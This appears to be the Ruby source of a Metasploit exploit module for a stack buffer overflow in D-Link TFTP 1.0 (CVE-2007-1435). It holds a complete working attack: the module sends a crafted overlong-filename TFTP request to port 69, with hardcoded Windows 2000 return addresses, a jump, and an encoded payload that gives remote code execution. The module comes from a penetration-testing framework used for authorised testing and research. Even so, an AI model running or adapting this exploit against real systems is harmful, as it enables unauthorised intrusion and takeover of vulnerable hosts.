87 lines
2.1 KiB
Ruby
87 lines
2.1 KiB
Ruby
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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include Msf::Exploit::Remote::Udp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'D-Link TFTP 1.0 Long Filename Buffer Overflow',
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'Description' => %q{
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This module exploits a stack overflow in D-Link TFTP 1.0.
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By sending a request for an overly long file name, an attacker
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could overflow a buffer and execute arbitrary code. For best results,
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use bind payloads with nonx (No NX).
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},
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'Author' => [
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'LSO <lso[@]hushmail.com>', # Exploit module
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'patrick', # Refs, stability, targets etc
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],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'BID', '22923' ],
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[ 'OSVDB', '33977' ],
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[ 'CVE', '2007-1435' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00",
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'Compat' =>
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{
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'ConnectionType' => '-reverse',
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},
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},
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'SaveRegisters' => [ 'ecx', 'eax', 'esi' ],
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'Platform' => 'win',
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'Targets' =>
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[
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# Patrick tested OK 20090228
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['Windows 2000 SP4 English', { 'Ret' => 0x77e1ccf7 } ], # jmp ebx
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['Windows 2000 SP3 English', { 'Ret' => 0x77f8361b } ], # jmp ebx
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],
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'Privileged' => false,
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'DisclosureDate' => 'Mar 12 2007',
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'DefaultTarget' => 0))
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register_options([Opt::RPORT(69)], self)
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end
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def exploit
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connect_udp
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print_status("Trying target #{target.name}...")
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juju = "\x00\x01"
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juju << Rex::Text.rand_text_alpha_upper(581)
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juju << Rex::Arch::X86.jmp_short(42)
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juju << Rex::Text.rand_text_alpha_upper(38)
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juju << [target.ret].pack('V') + payload.encoded
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udp_sock.put(juju)
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handler
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disconnect_udp
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end
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end
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